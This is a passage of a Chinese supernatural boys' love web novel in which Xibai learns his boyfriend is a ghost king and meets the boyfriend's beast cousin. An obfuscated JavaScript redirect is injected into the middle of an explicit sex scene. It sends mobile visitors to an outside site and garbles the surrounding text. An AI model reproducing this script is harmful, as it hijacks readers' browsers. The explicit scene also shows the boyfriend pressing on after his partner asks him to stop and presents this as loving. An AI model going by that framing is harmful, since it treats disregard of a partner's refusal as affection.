顾弛像是真的跨越时空看到那蛋糕上的蜡烛,瞳孔里的光芒更亮了一些。 “当男生鼓起腮帮子,眼睛亮晶晶地吹蜡烛的时候,鬼王发现自己胸膛里,响起了心跳的声音。” 修为越高的鬼越像人类,当实力登峰造极的时候,甚至连血液流动和心跳都能模仿出来——但这一切都没有必要,所以从来没有什么鬼会去研究和在乎这些事。 但这本不该存在的心跳,自然而然地就来了。 鬼王也是那时候开始意识到。 自己或许早已经在十年的注视之间,不知不觉地喜欢上了那个叫做“溪白”的小男生。 59.第 59 章 一切的真相,到现在已经算是很明朗了。 但溪白还是没有戳破。 他就是想看看,顾弛都还能忍多久。 也许是因为有些气对方一开始骗他,又或许是气顾弛明明喜欢自己却不直言,一直到自己听见他的心声,刺激了一番才表白。 所以这一次,溪白就是有点傲娇地想:要等到顾弛自己承认。 否则他绝不说破。 也正是因为溪白的这点小脾气,顾弛整个人都陷入了一头雾水的状况之中。 怎么回事? 溪白没听懂自己的故事吗? 一路开车回到校园了,顾弛不时纳闷地观察着,探头探脑的样子逗得溪白想笑。 压了压不自觉上翘的唇角,溪白冷不丁回过头,“怎么了?” 顾弛一哽,无言地收回了视线,专注回路况上。 “没事。” 看样子溪白真的没听懂啊? 顾弛暗暗啧了一声,是自己暗示得不够明显吗? 明明都带着自己第一次遇到溪白的那条街了,而且很多事情都毫无保留地说出来了啊。 不时看一眼副驾驶座,溪白的确像是没有把他刚刚讲的那个非常长的“鬼王与怕鬼小男孩的故事”往自己身上联想。 顾弛愈发郁闷了。 溪白看着头顶笼罩着诡谲乌云的男朋友,忍了忍笑意。 他倒要看看,顾弛能憋到什么时候。 但其实溪白也挺无奈的。 他也说不清心里是什么滋味。 对于顾弛的真实身份,他的接受度意外的良好,也许是因为之前怀疑过太多次,也设想过太多次“万一顾弛不是人该怎么办”的各种可能性。而当假设真的变为现实的时候,之前的各种脑补,反而成了此刻十足的心理准备。 但他没想到的是:顾弛居然就是那个进他梦里的鬼王。 当初他那么怕的一个家伙,其实早已在很多年前就关注上了他,而为了与他接近,甚至装出了一副人类的皮囊…… 诶? 溪白眨了眨眼睛,突然回过味来。 不对啊! 顾弛一开始想拐走他,骗他说他阳寿到了,这件事溪白已经知道了。 而装成人类接近他,这件事溪白也害羞过了。 但他刚刚回忆这段时间两人之间发生的事,突然想起另外一个事情来。 他一开始听庄术说顾弛是极阳之体。 所以鬼王晚上入梦的时候,都会因为害怕而跑去顾弛的床上睡觉来着。 但现在一回味起来…… 好像每次他跑回自己床上睡的时候,那鬼王都来了吧?! 所以从顾弛和他搬到一起之后,不论是主动还是被动,他基本就没试过一个人睡! 事情的真相呼之欲出的时分,两人恰好回到宿舍。 大门关上,溪白被人从背后抱住。 “宝宝。” 顾弛有些郁闷地轻声喊了一句。 然后就见溪白带着一种难以形容的,令他看着莫名有些紧张,连毛孔都紧缩起来的微笑,缓缓转过了身来。 顾弛喉结滚动了一下。 下一秒,就见溪白张嘴。 嗷呜一口,咬住了顾弛的胸肌。 这一口溪白可没收着力气,是带着怨念和小小气愤的。 顾弛嘶了一声,茫然地站在原地,静静地等着溪白咬够了。 溪白松口瞪了他一眼,伸手拽了拽衣领,发现自己刚刚咬的那一口的确很重,即使隔着一层衣服,此时顾弛的胸肌上也留下了一圈深刻而鲜红的牙印。 “不疼啊!”他问了一句。 顾弛把自己的领口从溪白的手指间拯救了出来,他隔着衣服揉了揉胸口。 “你不生气了就好。” “你还看得出我生气了……”溪白嘀咕了一句,往面前的胸怀里一靠。 顾弛赶忙伸手把人抱住,一只手搂着溪白的腰,另一只手抬起,轻轻摸了摸溪白的后脑勺。 发丝柔软而乖顺,一点也看不出刚刚咬人时那股凶巴巴小辣椒似的气势。 「溪白还咬人呢,咬的还挺凶」 溪白抱着顾弛的腰,就听见自己男朋友胸膛里传来这么一句。 他还没来得及扁起嘴,就又听见了第二句。 「真可爱呀」 再有什么气,此刻也尽数消了。 溪白刚一个走神,双脚便突然离开了地面。 他惊呼了一声,手臂下意识地将顾弛的腰圈紧,双腿也一并环了上去。 被温柔地放到了书桌上,当熟悉的温度和形状贴上来的时候,溪白意识到顾弛要做什么了。 而且今天的顾弛一跳一跳的。 好像比之前更兴奋了。 被他刚刚那一口咬的吗! 溪白猛地回神,抓住了事情的关键。 “你……” 嘴刚张开,唇舌便被人敏锐地衔咬住,溪白的呼吸与话语都在一瞬间被吞了进去。 室内的气温好像明显升高了一截,连空气里都像蒙了一层水雾……哦不,溪白意识模糊地想,那好像是自己眼睛里的泪花。 这人,是个疯子吧…… 溪白第一次结束的时候,顾弛还精神奕奕的。 修长的手指拂拭开,抹匀后愈发顺滑,顾弛再次加速,溪白整个人都像入了锅的虾米一样蜷缩发红起来。 「溪白,我的宝宝」 「好喜欢……」 「好想和溪白……」 别想了…这个疯子…… 溪白都快要不会呼吸了,耳畔还尽是故事脑海里那些令人面红耳赤的话语。 像溪白一开始感受到的,今天的顾弛格外兴奋。 一直到他第三次了,顾弛还是没个消停。 “不弄了……”溪白的声线都带上了轻颤,他推着顾弛,手掌按在自己刚刚啃了一口的胸肌上。 顾弛温柔但霸道地抓住了他的手腕,抬高溪白的手臂按在身后的墙上。 “难受?” 溪白听他终于关心了自己一句,忙不迭地点头。 声线委屈至极,他带着点鼻音,“没有了…别弄了……” 顾弛的确是顿了一下。 但也仅有一下。 溪白很快听见了他心里的一声轻笑。 「真可爱」 更想欺负他了。 下一秒,顾弛伸手向一旁。 盛开的曼珠沙华被从玻璃瓶里抽出,茎枝上的水珠被温柔地拂去。 意识到顾弛要做什么的溪白直接应激了,浑身的汗毛都炸了起来。 “不可以的!” “没事宝宝。”顾弛诱哄着他,“花枝很软,我会很小心……” 他在溪白的耳侧脸颊,接连落下数个亲吻,“不会弄疼你的,我保证,嗯?” 溪白的手还是抵着顾弛的胸口。 “宝宝……” 顾弛咬住那已经有些发肿的唇瓣。 很快,溪白就又被亲得迷迷糊糊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996728|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花枝触碰到的时候,溪白直接抖了一下。 但顾弛控制着他的身体,不让像被过度刺激了的猫一样的溪白有任何机会跑路。 与花枝的贴合越来越紧密,直到最后,溪白整个人都轻轻痉挛了起来。 顾弛舔了舔唇。 看着整个人挂在自己怀里,几乎已经没有一点力气的溪白,他的瞳孔再一次失控地变成了竖线。 溪白连心声只剩下两个有气无力的字。 疯子…… ※ 知道自己把人欺负得狠了,顾弛抱着溪白洗澡的时候,可以说是相当老实。 洗完把人抱在怀里裹着被子吹干头发,又把人抱上床伺候着躺下,还盖好了被子。 看着被团子里露出来的仅有半个的圆圆后脑勺,顾弛低头,亲了亲溪白的耳垂。 然后不意外地被人按着脸推开了。 虽然早已预料到炸毛的小男友肯定不会让自己那么容易地亲近,但顾弛还是做出了一副非常委屈的样子来。 他在溪白身侧躺下,手指捏着睡衣后襟的一点布料,轻轻扯了扯。 溪白扭了扭身,将睡衣抽出来。 顾弛又抓住,用多点力气扯了扯。 溪白猛地一个回身,对上那双和眉毛一起往下略微耷拉了一点的眼睛。 已经在心里想好,都到了嘴边的凶巴巴的话语,在这一刻咽了回去。 顾弛笑出一口白牙,在溪白唇上亲了一口。 耳尖迅速爬满红色,溪白缓缓地滚动身体。 但很快又被顾弛搂了回去。 两人紧紧地抱着,溪白靠在顾弛肩头。 腿还有些火辣辣的,哪怕刚刚顾弛帮他吹头发时上了点修复皮肤的药,但温度和洒满的湿润感,依旧在脑海里徘徊不散。 他正羞耻,就听见顾弛心里一句。 「溪白还不知道我是鬼王吗?」 舔了舔唇角,溪白又在顾弛的胸肌上狠狠咬了一口。 直到听见男朋友吃痛的抽气声,他才没那么不爽,放开了。 顾弛轻轻哼了一声,把耳朵贴在顾弛胸膛上。 傻瓜。 我早就知道了。 也就你这个笨蛋还以为我不知道。 而且像个锯嘴葫芦似的,一声也不吭! 溪白的小表情被顾弛尽收眼底,后者抱着人,揣了满肚子的疑惑。 怎么又不高兴了? 他的宝宝最近情绪好像不太稳定啊。 正当气氛又甜蜜又有些古怪的时候,顾弛放在床下的手机突然响了起来。 对视时,溪白和顾弛都看到了对方眼里的疑惑。 谁会在这个时候打电话? 而且顾弛……他本身不是人,在阳世也没太多朋友,他更没把自己的手机号码留给除了溪白之外的其他人过。 那会是谁? 顾弛示意了一下,想要起身。 溪白将人放开,窝在床铺侧边护栏旁,从栏杆底下的缝隙往下看。 就见顾弛拿起手机,屏幕上是一个没有任何姓名备注的号码。 蹙了蹙眉,顾弛点下了绿色的通话键。 接通的瞬间,一个高亢的声音从话筒里传遍了整个宿舍。 “表哥你在哪?听说你有嫂子了,我来给你拜年!” 望着顾弛,溪白发现自家男朋友的表情瞬间就无语了下来。 显然,他是知道电话那头的人是谁的。 溪白眨了眨眼。 顾弛还有个表弟? 60.第 60 章 “没空。” “再说。” “……你到了?” “……明天吧,嗯。” “酒店?自己找。” 挂了电话,顾弛抓着栏杆,踩着床梯两步翻上床。 说起来,之前顾弛还说他没有父母来着。 溪白现在回过味来了,顿感无语,亏他当初还在心里骂了自己一顿,现在想想:是啊,生于天地之间的鬼王,哪来的父母! 溪白睁着一双在夜色里亮晶晶的圆眼睛,静静等着顾弛说话。 “咳。”顾弛轻轻咳了一声,“那个,明天有空吗,我想带你见见我的……家里人。” 嗯,表弟么,刚刚都听到了。 溪白心说。 当然,他面上还是不先,只道:“好呀,你安排时间。” “嗯。”顾弛点了点头,躺下抱住溪白的腰,“那明早再和那边约时间。” “叫闹钟吗?” “自然醒吧,大过年的。” “好。” 耳朵被亲了亲,留下一点温热微痒的触感。 溪白抬手搓了搓,感受着后背上男生胸膛传来的阵阵温热。 “晚安,宝宝。” “晚安,顾弛。” 结果睡到自然醒的愿望并没有实现,当天边第一缕晨光破开薄雾的时候,顾弛的手机就震了起来。 人几乎是瞬移到了床下,顾弛咬着牙按下静音。 听着上铺传来溪白被吵醒后迷迷糊糊呓语和半梦半醒着翻身的动静,他咬着牙接通。 “干什么?” “哇,表哥你好凶。”电话另一头的男生语气带着委屈。 “有话快说!”顾弛不耐烦地道。 “这已经第二天了呀,不是说今天带我见嫂子吗。”男生的语气又活跃起来,兴冲冲地道。 顾弛揉了揉太阳穴,他差点忘了,作为非人类的对方,还有当初的他,刚来到人间时很多认知观念都是和人类不一样的。 他说明天,这家伙就真以为是天亮的那一秒。 “别吵。”顾弛压低声音,“晚点再说,等我打给你……” “没事,一会就出发吧。” 带着困意的声音从上铺传来,溪白打着哈欠。 顾弛抬起头,“不再睡会吗?” 他那瞬间从嫌弃变成温柔的语气,让电话另一头的男生直接一阵牙酸,抬手捂住脸,五官都被肉麻得皱了起来。 这地府里的鬼戏班还天天演什么变脸啊,让他表哥上台不就好了。 溪白摇着头挪蹭到床边,垂下来的一条腿被顾弛抓住了脚踝。 拇指磨蹭着清瘦突出的踝骨,双方触碰的目光在一瞬间腻味得快要拉丝。 一大早就闹了个耳尖发红的结果,溪白摇摇头,道:“不睡了。” 他回笼觉一般都很难睡着。 “行,那一会我带你去洗漱。”顾弛在溪白光滑白皙的小腿肚上亲了一口,含着笑意的眼睛都眯了起来。 溪白踩着他的肩头想要把人推远一些,结果被顾弛反手抓着脚踝,脚掌踩到胸口,在自己的胸肌上用力按了按。 溪白:…… 闹了个大红脸,溪白钻回被窝里把自己的脑袋挡住。 顾弛笑得见牙不见眼的,收回手后,还意犹未尽地搓搓手指,舔了舔唇。 “…………表哥。” 电话另一头的人忍不住出演提醒。 他还在呢! 顾弛很冷漠地哦了一声,“行了,一会给你个地址,自己过去。” 说完也不等那位表弟回答,就直接挂了电话。 将手机调成免打扰放回桌面上,顾弛抬起头,“宝宝?” 床上鼓起圆圆一大个被子包,明明不可能挡住声线,但那里面的人就像是没听到似的。 看着那软乎乎的被团子,顾弛又看了眼时间。 还早。 这般想着,他又翻身爬上了床。 ※ 把人抱上副驾驶座的时候,溪白还羞耻着。 他示意顾弛把自己放下来,后者却说:“学校都空了,没人会看到你。” 溪白这才勉强同意了。 主要也不是别的,就是昨晚稍微有些过火了,现在他一走路,大腿用力,皮肤之间就会摩擦到有些痛。 然后刚刚顾弛又闹腾了一次。 虽然这次是用手,但结局就是,溪白的胳膊现在酸得抬不起来了。 “明明知道要见面的……”溪白把脸埋进顾弛肩头,只露出来两只血红的小耳朵。 顾弛道:“没事,让他等着就行。” “那不太礼貌。”溪白说。 虽然说只是表弟,但毕竟也是顾弛的家人,溪白还是有些紧张的。 “他闹腾得很,也不会在原地干等,不闯祸让我去收拾烂摊子就不错了。”顾弛道。 两人开着车去了附近的商业城,隔得老远,就看到一层中间聚集了一堆人正围观着什么。 一开始溪白还以为是年节的一些节目舞台,结果停车后和顾弛一起坐电梯上了楼,才发现不是。 那帮人在看帅哥……算命。 一个身材高高壮壮,五官线条非常硬朗,高鼻阔面,眉毛特别黑特别浓的男生正在给人算命。他在商城一楼的一片空旷角落里扯了块布,布面上已经放了一些纸币、玉坠之类的财物了,看着像是刚才赚的。 倒也不见他摆着什么神像、架什么经幡、摇什么龟壳的。 男生就盘着腿坐在布面上,大腿支着胳膊,托着下巴和来找他算命的人说话。 正在算的是一对情侣,女生看着像学生,而男的年龄要大个七八岁的样子,一身又肥又白的泡泡肉,眼睛都因为脸上堆积的脂肪挤成了一条缝,他正干笑着,似乎是像拉女孩走。 “走吧小甜甜,这些江湖骗子,说的怎么可能准啊。”泡泡肉男生道。 女生却不想走,拽着自己的男朋友,“算算怎么了,你别看这小哥年轻,他刚刚算出来好多个海王渣男渣女了,还有个整了容剃了头发的逃犯都被算出来,人已经抓起来了。” 一阵警车的鸣笛生从外头传了进来,似乎想在映证女生的话一般。 泡泡肉男生嘴角抽了抽,只是他听完后却不像放心,反而更担心了似的,抓着女朋友的手要走,“哈,这样,不过没必要吧,你想算什么呀小甜甜……” 女生瞪大眼睛看他,“怎么了,我就是好奇嘛,你有什么不能让我知道的吗!” “没!当然没有!”男生连忙道。 全程,那个高高壮壮的帅哥就托着下巴看着这对小情侣在拉扯说话,他还打了个哈欠,似乎一点也不急。 泡泡肉男生见拗不过了,只好配合着一起走到摊位前。 他拿出手机,看了一圈,“有二维码没?” “什么码?”高高壮壮的男生撩起眼皮看他。 泡泡肉男嘴角又抽搐了两下,他收起手机,在被自己的肥肉撑得鼓鼓囊囊的口袋里翻了一圈,最后连一张纸币都没找到。 但女朋友在旁,他不得已,有些肉痛地摘下了手上看着就价值不菲的手表,放到摊位布面上那些纸币财物之上。 “咳,兄弟,我家小甜心找你算命,可要好好说啊!”他说到最后一句的时候,咬字突然加重。 男生又打了个哈欠,目光在那手表上扫了一眼。 懒洋洋地收回视线,他看那女生,“算什么?” “我和他,能结婚吗?”女生指了指自己和身旁的男友,期待地问道。 她和男生是在网上连麦打游戏认识的,一开始只是喜欢对方的声音,相处久了便产生了爱意。 虽然线下见面的时候,对方的外表并没有让她那么满意,周围的闺蜜们看到两人的合影后也劝着她要分手。但是这个女生却觉得外表并没有那么重要,找一个靠谱且对自己好的人,才是最要紧的。 两人已经在一起三年了,虽然大多时间都是异地,但她觉得只要自己的心够坚定,就一定能走向幸福的殿堂。 她问完,期待面前那个算命很厉害的小哥能给出一个让自己开心的答案。 孰料对方听完后甚至都没看自己和男朋友一眼。 “不行。” 女生脚步一晃,“什,什么……” 泡泡肉男赶紧扶住女生的肩头,当下便破口大骂起来,“你大爷的,你说什么!” “我说不行。”男生看了一眼那泡泡肉男伸过来,想要把手表拿回去的胖手。 他不知哪里变出来一根竹棍,随手一挥。 伴随着“啪”一声脆响,泡泡肉男生惨叫着收回了手,手表落在布面上。 他惊恐地看了一眼自己的手背,就见一道黑红色的血痕触目惊心。 “你他娘的!”泡泡肉男生想要冲上去打架。 女生在一旁伤心欲泣,她不解也不平地问:“为什么?” 算命的高大男生晃了晃手里的竹棍,无所谓地说了句:“我记得你们不让同时和两个人结婚的吧。” 此话一出,不仅女生愣住了,周围寂静了。 连抬起拳头的泡泡肉男生,也直接冻结在了原地。 他回过神,指着那算命的男生骂到:“你大爷的,你胡说八道什么!” “去年6月30号,你说你要出差,其实是回家给老婆过生日;9月2号说去封闭培训,其实是参加儿子的开学典礼;11月7号说赶项目在公司休息,其实是结婚纪念日……” 他每说一句,泡泡肉男生的脸就苍白一分。 很快,一阵揶揄和唏嘘声响起,女生回过神,当场就哇一声哭了出来。 众人堵着他指责批判起来,还有几个女孩子把哭着的那个女生带到一旁安慰。 站在旁边看了全程的溪白惊讶地张着嘴,刚刚那个男生好像什么也没做,但说穿那个渣男的谎言,就和亲眼见过似的。 难道这就是这么多人围着这里的原因吗?看着真的很神啊! 他正惊讶着,却意外发现身旁的顾弛正在揉自己的眉心,看着像是很头痛。 而且,顾弛的目光是锁定着摊位上坐着的那个男生的。 诶? 溪白一愣,莫非…… 正想着,坐在地上托着下巴看戏的男生转过头,目光像是自带锁定似的,直接和人群之外的两人对视上了。 他直接从地上蹦了起来,欢呼着招了招手,“表哥!” 男生拍了拍自己的裤腿,推开人群走到顾弛面前, 看到了旁边的溪白,一歪头,将人仔仔细细,从上到下地打量了一遍。 “这就是嫂子吧……唔!还真是男嫂子!” 溪白的耳朵瞬间就红了,原来这人真是顾弛的表弟。 “你好,我叫溪白。”溪白不好意思地往旁边靠了靠,肩头碰上顾弛的胳膊,才稍微好了点。 他很小声地又补充了一句:“现在是顾弛的男朋友。” 顾弛看了他一眼,认真地补充了一句:“以后也是。” 溪白用肩膀撞他。 男生撇着嘴上下打量了一圈顾弛,像是十分嫌弃。 回头看溪白,他笑眯眯地伸手:“你好溪白,我叫谢挚,是这家伙的表弟。” 他腾出一只手指顾弛。 顾弛闭了闭眼睛。 “行了,走吧。” 溪白被顾弛搂着肩膀往商场里走,谢挚背着手跟在一旁,笑嘻嘻地和两人说话。 走出几步,溪白想起来了什么,问谢挚,“你那些钱……” 他看谢挚算命的那块布上摆了好多钱,光是刚刚那个男生手上的腕表可能就六位数了,这就不要了? “哦,我又用不上。”谢挚耸了耸肩,无所谓地说了一句,“嫂子你要的话,我就拿回来。” 溪白还没说话,顾弛就先回了一句:“他不用。” “他只花我的钱。”顾弛又补了一句。 “他~只~花~我~的~钱~~”谢挚翻了个白眼。 两兄弟在互怼,溪白则开始走起了神。 刚刚谢挚对于金钱完全不在乎的态度,和那句“我又用不上”,让他突然意识到:顾弛不是人的话,那他这个表弟,其实大概率也不是。 谢挚……溪白琢磨起这个名字。 他并不认识谢挚,但是他却知道,《山海经》里有一个读起来同音的存在。

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溪白不动声色,心中则更加笃定。 刚刚那家店,他是故意去的——之前庄算就跟着网上的探店博主去打卡过,回来在微信上和他吐槽了三天。 但谢挚明明没去过,却能准确地知道,而且还直接说了出来。 溪白立刻想到,传说中獬豸看到恶人当官,就会用角把人撞倒吃下肚子,这也代表了这种神兽的一个特性:能辨明是非曲直——也就是说,他知道世间所有事情的真相。 并且作为“公平清正之兽”的獬豸还有另外一个特性:从来不说谎。 七成的把握上升到九成。 同时,溪白心里也有了另外一个主意。 新换的这家店是点菜式的自助,三人落座,溪白和顾弛坐在一边,谢挚单独坐一边。 “看看想吃什么。”溪白要了菜单,递给对面了谢挚。 “谢谢嫂子。”谢挚伸手接过。 “叫我溪白就好。”溪白说了一句。 一直嫂子嫂子的,叫得他都有些不好意思。 溪白给每个人都倒了杯柠檬水,一边像是随口闲聊一般,看着顾弛问了一句。 “说起来,你好像从没和我说过你还有个表弟啊。” 顾弛呃了一声。 其实说实话,他都完全没预料到谢挚有一天会和溪白碰上面。 谢挚本身是个神兽,习惯了在山林里居住,因为和顾弛感情要好,所以也时常去地府逗留几天,但除了历史上几次六月飞雪的大事需要他来判明公道,其他时候他几乎未曾踏足过人间。 而今年,是因为谢挚偶然听说他那个万年不开花的老树表哥居然谈恋爱了!对方还是个人类! 一时好奇加贪新鲜,他才临时起意说要来人间走一遭,看看究竟是什么样的人,能迷了顾弛去。 顾弛还没来得及说话,对面正翻看着菜单,感慨人间真是有好多美食的谢挚就随口应了一句。 “哦,我们没血缘的。” 溪白转头,顾弛颔首。 “哦?” 溪白语气带上了点疑惑,将属于谢挚的那杯柠檬水放到了他面前,他看着面前眼睛又大又亮的男生,轻轻挑了挑眉。 “那你们是什么时候认识的?” 谢挚喝水的动作顿住,顾弛的眼皮顿时抽了一下。 什么时候认识的……几千年前吧。 谢挚犹犹豫豫地去看顾弛,他来之前谢必安特意叮嘱过,说溪白怕鬼,因此还不知道顾弛不是人类。 怕吓到人,谢挚不可能真的说他和顾弛认识了几千年了。 但他不会说谎啊! “咳。”顾弛出言,用眼神示意谢挚赶紧闭嘴,“宝宝你前两天说想吃烤凤梨,这里有吗?” 他的确想把自己的真实身份告诉溪白,但是也不至于在这个吃饭的时候。 而且前两天那个故事讲完,溪白却好似没听懂似的,弄得顾弛一时间也有些不上不下的,不知道到底该不该多透露和多暗示些什么。 拙劣的转移话题技术…… 溪白腹诽了一句,转过头时脸上又变得笑意盈盈。 “是哦,这家店好像是有烤凤梨来着。” “我点了!”谢挚立刻举手,“霜糖烤凤梨,我点了三份,一人一份!” 溪白点了点头,“好哇。” “肉呢,有什么想吃的肉吗,这个厚切牛肉粒?”谢挚又道。 溪白又点头,“可以呀。” 两人你一言我一语,后来溪白干脆直接和他一起拿着菜单点了起来。 獬豸平日里的吃货属性在此刻意外地派上了用场,顾弛难得看他顺眼了一次。 就在这时,溪白按住谢挚想要翻页的手。 菜单停留在饮品酒水上,溪白伸手,指了指菜单上的一张图片。 “点个酒吗?” 见两人都看着自己不说话,他还茫然地轮流对视了一圈。 “你们不喝酒的吗?” 溪白看完谢挚,又看顾弛。 “我还说庆祝一下过年,然后也庆祝一下我和们俩正式在一起呢。” 谢挚都还微微张着嘴没有反应过来,就听见旁边传来一句当机立断的: “点。” 61.第 61 章 菜和酒都陆陆续续地上来了,顾弛拿着夹子烤肉,目光却追随着热络地给几人倒酒的溪白。 他其实并不怕喝酒,谢挚也不是一杯倒的那种体质。 甚至因为非人类的身份,他和谢挚对于酒精的适应性比人类还要强一点。 可顾弛跟溪白相处太久,他太了解溪白了。 刚刚溪白说点酒时的表情,明显是有别的盘算在里头。 目标自然不可能是他,那剩下的就只有…… 顾弛有心提醒谢挚注意一下他那张管不住的嘴,但后者早已经在溪白的鼓动下,一口气喝了三大杯。 一边喝还一边傻乐。 “哦!这个酒和我喝过的都不一样呢,不辣喉咙,甜甜的。” 溪白点的是果酒,第一次来人间的谢挚当然没喝过。 他又拿过旁边一瓶,“你刚刚喝的是荔枝,这个是米酿。” 谢挚兴奋地又连灌三杯。 “哎,别喝那么多,度数不低的。”溪白赶紧劝。 “没事嫂子,我醉不了……嗝儿。”谢挚摆手。 只是虽然嘴巴上在劝,溪白给谢挚倒酒的手可没停下。 他转头时对上顾弛注视着自己的目光,无奈地耸了耸肩膀,又给顾弛使眼色。 快劝劝你表弟。 顾弛摸了摸鼻子,没管那边的谢挚,默默移开目光。 别说。 虽然知道溪白在玩小心机……但还挺可爱的。 咳。 也罢,顾弛心想。 反正自己也早就有了把一切告诉溪白的心,且看看自家小男友今晚又要耍什么花样。 如果时机恰好,顾弛也不怕直接承认自己鬼王的身份。 他给溪白夹了几块烤好的牛肉粒,看自家小男友灌谢挚喝酒。 刚刚的十几分钟里,谢挚已经自觉喝了十几杯了,算起来也有两瓶的量。 作为一只神兽,在修为还没有那么高的时候,谢挚也偷过饲养他的神仙埋在地下的酒喝。 但是那些都是很辣很辣的酒,辣的发苦,他喝了一次就不怎么碰了。 但今天喝的,完全是小甜水嘛,很好喝! 谢挚想着,又喝了一杯。 “别光顾着喝,吃点东西。”顾弛终于看不下去了,出声说了一句。 “嗯嗯,吃点烤肉吧。”溪白拿过一旁的生菜,就感觉身旁和对面的两个人都不约而同地转头看向了自己。 差点忘了,这两个家伙不会。 溪白假装没有察觉到注视着自己的目光,低头专注地用生菜把蘸饱酱料的烤肉和一些酱泡菜一起包好。 两人有样学样,也吃了起来,一时间桌上非常安静,只有电烤炉上的肉滋滋冒油的声音。 溪白刚端起酒,另一只杯子就先挡了过来。 他转头,看见顾弛睁大了一双清澈的浅褐色眼睛看着自己。 “庆祝。” 顾弛说了两个字。 溪白一顿,想起自己刚刚说的话。 眼底浮现出笑意,他伸手和顾弛碰了碰杯沿。 他凑到男生肩头,笑吟吟地低声道:“那就庆祝一下我们正式在一起……我的男朋友。” 溪白端着酒杯抿了一口放下,而与他的杯子一起落在桌面上的,是顾弛空了的酒杯。 酒不烈,但是却喝得人从耳朵红到脸颊。 溪白难得看顾弛害羞成这样,挽住他的胳膊直笑。 边吃边聊,很快桌上的食物就下去了。 谢挚又加了一轮喜欢的肉,还主动点了五六瓶他喜欢的小甜酒。 虽然那酒度数不高,但其实是用烈酒调出来的,初喝下去觉得甜滋滋的不辣口也不晕,但等回过味来的时候,脑袋已经有点晕乎了。 溪白食量不大,早就吃饱了。 在等新一轮肉上来的间隙,他看了看两个都有些上头的男生。 “我们玩个游戏吧。”溪白提议道。 两道视线集中过来,溪白把手机放到了桌面上,点开他刚刚提前下载好的软件。 “一会儿这个箭头指到谁,谁就要被提问一个问题,并且,被提问者只能说真话……当然,如果不想说的话,也可以选择喝酒。” 说着,溪白竖起三根手指,“一次罚三杯。” 说白了就是真心话大冒险,一个很古早的游戏,早就不新鲜了。 但溪白仗着这俩也不是人类,根本不懂什么新鲜不新鲜,而且还悄悄地把大冒险的部分给隐瞒掉了。 “敢玩吗?”溪白激将道。 顾弛轻轻挑了挑眉,没说话。 见他没反对,谢挚的火爆性子立刻就窜起来了,他一拍桌子,“玩!才不怂!” 溪白挑起嘴角。 上钩了。 也不知是上天眷顾还是什么,那指针每一轮都指到除溪白以外的两个人。 顾弛酒量大,罚了十几杯也面不改色。 但谢挚就不太行了。 “我刚……喝得太多了,嗝儿。”他有些晕乎地趴在手臂上,用脑门去蹭自己的胳膊,“不行了,真不行了,再喝,就,吐了……” “那,我提问了?”溪白笑嘻嘻地道。 谢挚举起一根手指,比了个点头的动作。 “你和顾弛……”溪白看了一眼明显紧张起来的两人,莞尔一笑,“之前谈过恋爱么?” “没有。” 声音从旁传来,溪白托着下巴看自己的男朋友。 “我问的不是表弟么,你着急什么。” 谢挚慢吞吞地摆了摆手,“没,没谈过。我和表哥,认识这么多年来,都,都是单身!” “单身了多久啊?”溪白顺势追问。 谢挚话头一顿,顾弛在旁则接了一句。 “这是第二个问题了吧。” 转头望去,溪白就见自家男朋友心虚地看向一旁。 他也不戳破,道:“好,那就再转。” 结果第二次,还是转到了谢挚。 “嘿嘿,巧了。”溪白拍了拍谢挚的肩膀,“来,老实交代,单身了多久了?” 如果撒谎的话,这个问题相当简单,直接说顾弛单身了二十年就好了。 但谢挚不会说谎。 溪白好整以暇地等待着答案,就见谢挚趴了良久,突然间坐了起来。 他伸出一根手指,字正腔圆地道:“他单身啊,从出生到现在,他几岁,就单身了多久。” “我回答完了。”谢挚说完,又一下趴了回去。 这答案,答得还挺狡猾。 溪白轻轻一挑眉,余光注意到,在谢挚说完那句话后,顾弛有一个明显松了口气的表情。 也不知道是不是喝了酒,坏心眼就浮上来了。 溪白突然觉得逗自己的男朋友也挺好玩的……想起这几天他被顾弛来来回回地折腾逗弄,溪白决定要给自己出口气。 于是,他借着玩游戏的机会,问了很多似是而非的问题。 每一次顾弛都觉得心像是被拉满弦的弓一般提了起来,但谢挚总能精准地抓住溪白在问题里的漏洞,给出一个同样似是而非的答案。 三番两次,顾弛突然意识到:溪白可能是故意的。 “怎么啦?”溪白转头对上顾弛投来的目光。 顾弛说了声没,收回视线。 「小坏蛋,就是故意的」 溪白小口啜饮着柠檬水,好似根本没听见这句心声一般,他放下杯子,又转了一下。 “来,我问你。” 他伸手,点了点谢挚的脑袋上的发旋,高高壮壮的男生抬起头,大脑已经被酒精搅成了一团浆糊。 “你说顾弛没谈过恋爱,我已经知道了……那他有没有喜欢过其他什么人啊?” 溪白说完,转头瞪了一眼自家男朋友。 “我问的表弟哦。” 顾弛抿了抿唇,又靠回了椅背上。 就见谢挚摇头晃脑,盯着天花板思考了一会儿,像是在消化溪白的问题。 而后他像是猛然间想起来了什么,一拍手,“哦!” 溪白还没做出反应,顾弛先直起了身体。 莫非真喜欢过别人?溪白转头看去,表情渐渐变成了似笑非笑。 “你先等等。”谢挚说了一句,开始掰手指,“一年,两年,三年……哦!这个没隔多久,可以说!” 他意识到自己说漏了什么,赶紧捂住嘴。 顾弛闭眼叹气。 溪白朝谢挚一挑眉,“老实交代。” “宝宝,我没……” “没问你。” 谢挚有些害怕地睁大眼睛,心说嫂子气场好强。 他下意识地看了一眼旁边……顾弛已经放弃抵抗了。 “就是,十年前……” 谢挚一咬牙,一闭眼。 “当时表哥不知道喜欢上谁了,反正好几年都总往外跑……但是后来很快就消停了!” “再然后就是听说你们俩在一起了,嫂子你放心,我表哥肯定是个专一的人!” 谢挚说完,有些担心地看了眼对座。 却见刚刚还气势夺人的溪白,此时侧着脸耳朵发红地看向一旁。 而他表哥几秒前还一副放弃鬼生的样子,但此时却已经换了一副笑容,桌面下的手伸长了去勾溪白的手掌。 这故事,顾弛早在前两天就和溪白说了。 鬼王的故事么。 顾弛看着自家耳尖烧红了的小男友。 